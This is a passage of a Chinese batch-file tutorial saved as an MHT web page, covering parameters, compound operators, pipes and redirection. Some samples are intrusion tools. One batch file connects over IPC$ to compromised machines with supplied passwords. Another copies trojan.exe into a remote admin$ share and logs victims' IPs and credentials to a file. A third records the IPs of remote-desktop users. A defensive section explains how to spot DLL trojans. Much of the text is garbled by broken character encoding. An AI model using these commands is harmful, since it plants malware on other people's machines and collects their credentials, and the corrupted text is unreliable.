?? cmdbat.mht
字號:
lang=3DEN-US>1%</span>到<span lang=3DEN-US> 9%</span>这九=
个，当有多个参数时=
8656;要用<span
lang=3DEN-US>shift</span>来移动，这种&#=
24773;况并不多见，我们ì=
01;不考虑它了。<span
lang=3DEN-US> <br>
sample1</span>：<span lang=3DEN-US>fomat.bat <br>
@echo off <br>
if "%1"=3D=3D"a" format a: <br>
:format <br>
@format a:/q/u/auotset <br>
@echo please insert another disk to driver A. <br>
@pause <br>
@goto fomat <br>
</span>这个例子用于连续=
320;格式化几张软盘，所=
;以用的时候需在<span
lang=3DEN-US>dos</span>窗口输入<span lang=3DEN-US>f=
omat.bat
a</span>，呵呵<span lang=3DEN-US>,</span>好像=
有点画蛇添足了～<span
lang=3DEN-US>^_^ <br>
sample2</span>：<span lang=3DEN-US> <br>
</span>当我们要建立一个<span
lang=3DEN-US>IPC$</span>连接地时候总=
5201;输入一大串命令，ঀ=
4;不好就打错了，所以&=
#25105;们不如把一些固定=
629;令写入一个批处理，=
;把肉鸡地<span
lang=3DEN-US>ip password username </span>当着参数&#=
26469;赋给这个批处理，Ű=
25;样就不用每次都打命=
令了。<span
lang=3DEN-US> <br>
@echo off <br>
@net use \\1%\ipc$ "2%" /u:"3%" </span>注意=
哦，这里<span
lang=3DEN-US>PASSWORD</span>是第二个参数=
;。<span
lang=3DEN-US> <br>
@if errorlevel 1 echo connection failed <br>
</span>怎么样<span lang=3DEN-US>,</span>使用&=
#21442;数还是比较简单的=
543;？你这么帅一定学会=
;了<span
lang=3DEN-US>^_^.No.3 <br>
</span>三<span lang=3DEN-US>.</span>如何使用&=
#32452;合命令<span
lang=3DEN-US>(Compound Command)1.& <br>
Usage</span>：第一条命令<span lang=3DEN=
-US>
& </span>第二条命令<span lang=3DEN-US> [&=
amp; </span>第三条命令<span
lang=3DEN-US>...]</span>用这种方法可=
0197;同时执行多条命令ᦁ=
2;而不管命令是否执行&=
#25104;功<span
lang=3DEN-US>Sample</span>：<span lang=3DEN-US> <br>
C:\>dir z: & dir c:\Ex4rch <br>
The system cannot find the path specified. <br>
Volume in drive C has no label. <br>
Volume Serial Number is 0078-59FBDirectory of c:\Ex4rch <br>
2002-05-14 23:51 <DIR> . <br>
2002-05-14 23:51 <DIR> .. <br>
2002-05-14 23:51 14 sometips.gif <br>
2.&& <br>
Usage</span>：第一条命令<span lang=3DEN=
-US>
&& </span>第二条命令<span lang=3DEN-U=
S>
[&& </span>第三条命令<span lang=3DEN-=
US>...]</span>用这种方法可以×=
16;时执行多条命令，当=
碰到执行出错的命令=
1518;将不执行后面的命ߣ=
6;，如果一直没有出错&=
#21017;一直执行完所有命=
196;；<span
lang=3DEN-US>Sample</span>：<span lang=3DEN-US> <br>
C:\>dir z: && dir c:\Ex4rch <br>
The system cannot find the path specified.C:\>dir c:\Ex4rch && d=
ir
z: <br>
Volume in drive C has no label. <br>
Volume Serial Number is 0078-59FB <br>
Directory of c:\Ex4rch <br>
2002-05-14 23:55 <DIR> . <br>
2002-05-14 23:55 <DIR> .. <br>
2002-05-14 23:55 14 sometips.gif <br>
1 File(s) 14 bytes <br>
2 Dir(s) 768,671,744 bytes free <br>
The system cannot find the path specified. <br>
</span>在做备份的时候可!=
021;会用到这种命令会比=
;较简单，如：<span
lang=3DEN-US> <br>
dir file</span>＆<span lang=3DEN-US>#58//192.168.0.1/database/backup.=
mdb
&& copy file</span>＆<span lang=3DEN-US>#58//192.168.0.1/data=
base/backup.mdb
E:\backup <br>
</span>如果远程服务器上=
384;在<span
lang=3DEN-US>backup.mdb</span>文件，就执Ŝ=
92;<span
lang=3DEN-US>copy</span>命令，若不存=
2312;该文件则不执行<span
lang=3DEN-US>copy</span>命令。这种用=
7861;可以替换<span
lang=3DEN-US>IF exist</span>了 ：）<span lang=3DEN-US>3.|=
|Usage</span>：第一条命令<span
lang=3DEN-US> || </span>第二条命令<span lang=
=3DEN-US>
[|| </span>第三条命令<span lang=3DEN-US>...]<=
/span>用这种方法可以同ą=
02;执行多条命令，当碰=
到执行正确的命令后=
3558;不执行后面的命令ᦁ=
2;如果没有出现正确的&=
#21629;令则一直执行完所=
377;命令；<span
lang=3DEN-US>Sample</span>：<span lang=3DEN-US> <br>
C:\Ex4rch>dir sometips.gif || del sometips.gif <br>
Volume in drive C has no label. <br>
Volume Serial Number is 0078-59FBDirectory of C:\Ex4rch <br>
2002-05-14 23:55 14 sometips.gif <br>
1 File(s) 14 bytes <br>
0 Dir(s) 768,696,320 bytes free <br>
</span>组合命令使用的例=
376;：<span
lang=3DEN-US> <br>
sample</span>：<span lang=3DEN-US> <br>
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo I=
P %1
USER %2 PASS %3 >>victim.txt</span>四、管道&#=
21629;令的使用<span
lang=3DEN-US>1.| </span>命令<span lang=3DEN-US> <br>
Usage</span>：第一条命令<span lang=3DEN=
-US> |
</span>第二条命令<span lang=3DEN-US> [| </spa=
n>第三条命令<span
lang=3DEN-US>...] <br>
</span>将第一条命令的结=
524;作为第二条命令的参=
;数来使用，记得在<span
lang=3DEN-US>unix</span>中这种方式很=
4120;见。<span
lang=3DEN-US>sample</span>：<span lang=3DEN-US> <br>
time /t>>D:\IP.log <br>
netstat -n -p tcp|find ":3389">>D:\IP.log <br>
start Explorer <br>
</span>看出来了么？用于 =
456;端服务允许我们为用=
;户自定义起始的程序&#=
65292;来实现让用户运行Ç=
79;面这个<span
lang=3DEN-US>bat</span>，以获得登录=
992;户的<span
lang=3DEN-US>IP</span>。<span lang=3DEN-US>2.></span>、<span
lang=3DEN-US>>></span>输出重定向命=
;令<span
lang=3DEN-US> <br>
</span>将一条命令或某个=
243;序输出结果的重定向=
;到特定文件中<span
lang=3DEN-US>, > </span>与<span lang=3DEN-US> >></span>į=
40;区别在于，<span
lang=3DEN-US>></span>会清除调原有=
5991;件中的内容后写入১=
1;定文件，而<span
lang=3DEN-US>>></span>只会追加内容=
;到指定文件中，而不&#=
20250;改动其中的内容。<span
lang=3DEN-US>sample1</span>：<span lang=3DEN-US> <br>
echo hello world>c:\hello.txt (stupid example?)sample2: <br>
</span>时下<span lang=3DEN-US>DLL</span>木马盛=
;行，我们知道<span
lang=3DEN-US>system32</span>是个捉迷藏的=
;好地方，许多木马都&#=
21066;尖了脑袋往那里钻ʌ=
92;<span
lang=3DEN-US>DLL</span>马也不例外，&=
024;对这一点我们可以在=
;安装好系统和必要的&#=
24212;用程序后，对该目ô=
05;下的<span
lang=3DEN-US>EXE</span>和<span lang=3DEN-US>DLL</span>文件=
;作一个记录：<span
lang=3DEN-US> <br>
</span>运行<span lang=3DEN-US>CMD--</span>转换İ=
46;录到<span
lang=3DEN-US>system32--dir *.exe>exeback.txt & dir *.dll>dllback.=
txt, <br>
</span>这样所有的<span lang=3DEN-US>EXE</span=
>和<span
lang=3DEN-US>DLL</span>文件的名称都"=
987;分别记录到<span
lang=3DEN-US>exeback.txt</span>和<span lang=3DEN-US>dllback.txt</span=
>中<span
lang=3DEN-US>, <br>
</span>日后如发现异常但=
992;传统的方法查不出问=
;题时<span
lang=3DEN-US>,</span>则要考虑是不਷=
9;系统中已经潜入<span
lang=3DEN-US>DLL</span>木马了<span lang=3DEN-US>. <br>
</span>这时我们用同样的=
629;令将<span
lang=3DEN-US>system32</span>下的<span lang=3DEN-US>EXE</span>&#=
21644;<span
lang=3DEN-US>DLL</span>文件记录到另=
806;的<span
lang=3DEN-US>exeback1.txt</span>和<span lang=3DEN-US>dllback1.txt</sp=
an>中<span
lang=3DEN-US>,</span>然后运行<span lang=3DEN-US>: <=
br>
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
dllback1.txt>diff.txt.(</span>用<span lang=3DEN-US>FC</span>ࡲ=
9;令比较前后两次的<span
lang=3DEN-US>DLL</span>和<span lang=3DEN-US>EXE</span>文件=
;<span
lang=3DEN-US>,</span>并将结果输入࠸=
0;<span
lang=3DEN-US>diff.txt</span>中<span lang=3DEN-US>),</span>这=
6679;我们就能发现一些ࣩ=
0;出来的<span
lang=3DEN-US>DLL</span>和<span lang=3DEN-US>EXE</span>文件=
;<span
lang=3DEN-US>,</span>然后通过查看࠵=
9;建时间、版本、是否&=
#32463;过压缩等就能够比$=
739;容易地判断出是不是=
;已经被<span
lang=3DEN-US>DLL</span>木马光顾了。=
809;有是最好，如果有的=
;话也不要直接<span
lang=3DEN-US>DEL</span>掉，先用<span lang=3DEN-US>r=
egsvr32
/u trojan.dll</span>将后门<span lang=3DEN-US>DLL</span>&#=
25991;件注销掉<span
lang=3DEN-US>,</span>再把它移到回ਟ=
0;站里，若系统没有异&=
#24120;反映再将之彻底删&=
500;或者提交给杀毒软件=
;公司。<span
lang=3DEN-US>3.< </span>、<span lang=3DEN-US>>& </span>=
289;<span
lang=3DEN-US><& <br?? 快捷鍵說明
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